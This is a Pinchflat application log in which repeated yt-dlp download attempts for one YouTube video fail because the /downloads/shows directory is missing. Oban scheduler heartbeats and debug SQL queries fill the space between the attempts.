1 [] 13:56:43.527 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/06/0f/060fc9dc0c4c31535555fdc9e4785be492af4346b7b74ff4e354740e384bb8b3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:56:44.294 [info] {"source":"oban","duration":22857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:53.517 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/06/0f/060fc9dc0c4c31535555fdc9e4785be492af4346b7b74ff4e354740e384bb8b3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 13:56:53.518 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 13:56:53.527 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":20929355,"event":"job:exception","queue_time":985476,"attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:57:00.122 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:57:14.309 [info] {"source":"oban","duration":7311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:44.339 [info] {"source":"oban","duration":21610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.128 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:58:14.362 [info] {"source":"oban","duration":19468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:44.375 [info] {"source":"oban","duration":5079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.131 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:59:14.379 [info] {"source":"oban","duration":1925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:44.382 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.133 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:00:14.394 [info] {"source":"oban","duration":3009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:44.417 [info] {"source":"oban","duration":21296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.136 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:01:14.421 [info] {"source":"oban","duration":2836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:44.428 [info] {"source":"oban","duration":4287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.147 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:02:14.435 [info] {"source":"oban","duration":3066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:44.449 [info] {"source":"oban","duration":4501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.151 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:03:14.458 [info] {"source":"oban","duration":2744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:44.463 [info] {"source":"oban","duration":2499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.155 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:04:14.467 [info] {"source":"oban","duration":2623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:44.472 [info] {"source":"oban","duration":2722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.158 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:05:14.477 [info] {"source":"oban","duration":3421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:44.489 [info] {"source":"oban","duration":4194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.163 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:06:14.499 [info] {"source":"oban","duration":2809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:44.504 [info] {"source":"oban","duration":3270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.166 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:07:14.509 [info] {"source":"oban","duration":2684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:44.523 [info] {"source":"oban","duration":3136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.173 [info] {"source":"oban","duration":2152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:08:14.530 [info] {"source":"oban","duration":2813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:44.535 [info] {"source":"oban","duration":3317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.177 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:09:14.542 [info] {"source":"oban","duration":4089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:44.548 [info] {"source":"oban","duration":2436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.188 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:10:14.561 [info] {"source":"oban","duration":2363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:44.569 [info] {"source":"oban","duration":3969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.197 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:11:14.573 [info] {"source":"oban","duration":2435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:44.580 [info] {"source":"oban","duration":2957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.206 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:12:14.584 [info] {"source":"oban","duration":2304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:44.595 [info] {"source":"oban","duration":1973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.208 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:13:14.599 [info] {"source":"oban","duration":1961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:44.604 [info] {"source":"oban","duration":1950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.217 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:14:14.608 [info] {"source":"oban","duration":2788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:44.612 [info] {"source":"oban","duration":2323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.219 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:15:14.619 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:44.624 [info] {"source":"oban","duration":3980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.223 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:16:14.629 [info] {"source":"oban","duration":2952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:44.632 [info] {"source":"oban","duration":1865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.225 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:17:14.635 [info] {"source":"oban","duration":1876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:44.638 [info] {"source":"oban","duration":1858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.229 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:18:14.643 [info] {"source":"oban","duration":1964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:44.648 [info] {"source":"oban","duration":2275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.234 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:19:14.651 [info] {"source":"oban","duration":2423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:44.656 [info] {"source":"oban","duration":2403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.235 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:20:14.660 [info] {"source":"oban","duration":2143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:44.663 [info] {"source":"oban","duration":1828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.238 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:21:14.669 [info] {"source":"oban","duration":1973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:44.673 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.240 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:22:14.678 [info] {"source":"oban","duration":2968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:44.683 [info] {"source":"oban","duration":2419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.243 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:23:14.694 [info] {"source":"oban","duration":1814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:44.702 [info] {"source":"oban","duration":1803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.245 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:24:14.707 [info] {"source":"oban","duration":2495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:44.708 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.248 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:25:14.722 [info] {"source":"oban","duration":6076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:44.727 [info] {"source":"oban","duration":3990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.251 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:26:14.741 [info] {"source":"oban","duration":3056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:44.746 [info] {"source":"oban","duration":2245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.263 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:27:14.750 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:44.759 [info] {"source":"oban","duration":2747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.267 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:28:14.769 [info] {"source":"oban","duration":2901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:44.779 [info] {"source":"oban","duration":7522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.269 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:29:14.787 [info] {"source":"oban","duration":2329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:44.792 [info] {"source":"oban","duration":1824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.274 [info] {"source":"oban","duration":2195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:30:14.799 [info] {"source":"oban","duration":2863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:44.812 [info] {"source":"oban","duration":3575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.282 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:31:14.817 [info] {"source":"oban","duration":2284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:44.820 [info] {"source":"oban","duration":2165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.284 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:32:14.830 [info] {"source":"oban","duration":3058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:44.836 [info] {"source":"oban","duration":2824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.287 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:33:14.846 [info] {"source":"oban","duration":2926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:44.853 [info] {"source":"oban","duration":3625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:54.189 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788410034189622116,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:33:54.204 [debug] QUERY OK source="media_items" db=2.0ms queue=0.2ms idle=1986.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 14:33:54.205 [info] User scripts lifecyle file either not present or is empty. Skipping. 14:33:54.207 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=24.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 14:33:54.210 [debug] QUERY OK source="media_profiles" db=2.0ms idle=18.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 14:33:54.211 [debug] QUERY OK source="media_items" db=0.5ms idle=18.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 14:33:54.218 [debug] QUERY OK source="media_metadata" db=2.2ms idle=10.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 14:33:54.220 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.5ms idle=13.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 14:33:54.223 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=14.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:33:54.224 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=13.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:33:54.226 [debug] Running yt-dlp command for action: get_downloadable_status 14:33:54.229 [debug] QUERY OK source="settings" db=0.3ms idle=17.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:33:54.229 [debug] QUERY OK source="settings" db=0.2ms idle=11.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:33:54.230 [debug] QUERY OK source="settings" db=0.1ms idle=9.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:33:54.230 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e7/7d/e77d14929ee86f1396d04d433de6627d17f7c17c34064e8231d06ede2ea77dd2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:34:00.291 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:34:04.627 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e7/7d/e77d14929ee86f1396d04d433de6627d17f7c17c34064e8231d06ede2ea77dd2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 14:34:04.629 [debug] Running yt-dlp command for action: download 14:34:04.631 [debug] QUERY OK source="settings" db=0.5ms queue=0.3ms idle=418.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:34:04.632 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=420.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:34:04.633 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=421.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:34:04.635 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/06/e8/06e81fcea4f333f6a11dcde99dbe1a52638fe564d6539023d6895aa69c2a38af.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 14:34:13.299 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/06/e8/06e81fcea4f333f6a11dcde99dbe1a52638fe564d6539023d6895aa69c2a38af.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 14:34:13.301 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 14:34:13.308 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":19112584,"event":"job:exception","queue_time":665208,"attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:34:14.879 [info] {"source":"oban","duration":21093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:44.897 [info] {"source":"oban","duration":17685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.296 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:35:14.919 [info] {"source":"oban","duration":20139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:44.925 [info] {"source":"oban","duration":3253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.300 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:36:14.929 [info] {"source":"oban","duration":2567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:44.952 [info] {"source":"oban","duration":20466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.309 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:37:14.966 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:44.971 [info] {"source":"oban","duration":2178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.311 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:38:14.977 [info] {"source":"oban","duration":2760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:44.983 [info] 